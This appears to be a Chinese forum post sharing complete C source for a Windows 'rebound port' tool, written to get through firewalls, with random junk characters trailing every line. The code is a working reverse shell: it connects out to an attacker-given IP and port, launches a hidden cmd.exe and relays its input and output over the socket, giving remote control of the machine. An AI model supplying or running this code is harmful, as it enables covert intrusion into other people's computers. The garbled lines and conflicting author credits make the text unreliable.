这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Lj"A4i_
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/* ============================== eVR5Xar
Rebound port in Windows NT v$)q($}p
By wind,2006/7 /Ux*u#
===============================*/ 2TES>}
#include &I({T`=
#include
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#pragma comment(lib,"wsock32.lib") a2f^x@0k
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void OutputShell(); ^@"H1
SOCKET sClient; mrJQ#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t9_E$w^U
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void main(int argc,char **argv) ?|1Mv1C?
{ :qvI%1cP=
WSADATA stWsaData; Ka|eFprS
int nRet; jS!`2li?{
SOCKADDR_IN stSaiClient,stSaiServer; S/`%Q2za4
Ln.ZVMZ;
if(argc != 3) D&ve15wL
{ /oL;YIoQX
printf("Useage:\n\rRebound DestIP DestPort\n"); x-'~Bu
return; NJ MJ
} X]y)ZF26
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WSAStartup(MAKEWORD(2,2),&stWsaData); v`c$!L5
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jhGlG-^
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stSaiClient.sin_family = AF_INET; ;D.h65rr
stSaiClient.sin_port = htons(0); m))<!3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); id?#TqD
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @f!AkzI
{ fRvAKz|rL
printf("Bind Socket Failed!\n"); kL90&nP
return; #RMI&[M
} T%F0B`
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stSaiServer.sin_family = AF_INET; @+Y8*Rj\3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =9G;PVk|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -.<k~71
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T}D<Sc
{ i1oKrRv
printf("Connect Error!"); rxO2js
return; AY SSa 1}
} C*I(|.i@
OutputShell(); %vO<9fE|1
} .A1\J@b
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void OutputShell() kzq29S
{ ]feyJLF
char szBuff[1024]; 3"UsZyN:
SECURITY_ATTRIBUTES stSecurityAttributes; ue8qIZH
OSVERSIONINFO stOsversionInfo; l12$l<x&M
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (X6sSO
STARTUPINFO stStartupInfo; ~JuKV&&}K
char *szShell; S)A'Y]2X
PROCESS_INFORMATION stProcessInformation; H<ZU#U0FZf
unsigned long lBytesRead; (vJ2z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); me\cLFw
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pl V7+?G
stSecurityAttributes.lpSecurityDescriptor = 0; \;]kYO}
stSecurityAttributes.bInheritHandle = TRUE; 15zrrU~D
y_}SK6{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *o' 4,+=am
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ecX/K.8l
!]S=z^"<
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -qe bQv
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l
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stStartupInfo.wShowWindow = SW_HIDE; 3^.8.q(6
stStartupInfo.hStdInput = hReadPipe; \NX Q
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *C,N'M<u
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GetVersionEx(&stOsversionInfo); 2 [!Mx&^
P` '$
switch(stOsversionInfo.dwPlatformId) OK`Z@X_,bW
{ D22Lu;E
case 1: q2_`v5t
szShell = "command.com"; t]^_l$
break; ex?\c"
default: RP(/x+V
szShell = "cmd.exe"; ewB!IJxh
break; 8,o17}NY,
} 3AlqBXE"Z<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C%ytkzG_
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send(sClient,szMsg,77,0); S;A)C`X&
while(1) mjEs5XCC"
{ vv
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); hteOh#0{
if(lBytesRead) 9b6!CNe!
{ =Mhg
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PaVO"y]C
send(sClient,szBuff,lBytesRead,0); b4 hIeBI\
} 9.0WKcwg
else =p&sl;PsLw
{ 4R +P
lBytesRead=recv(sClient,szBuff,1024,0); @+^c"=d1S
if(lBytesRead<=0) break; Lm.`+W5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V2yveNz\7
} [[qwaI
} eO{@@?/y
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return; w{'2q^>6*
}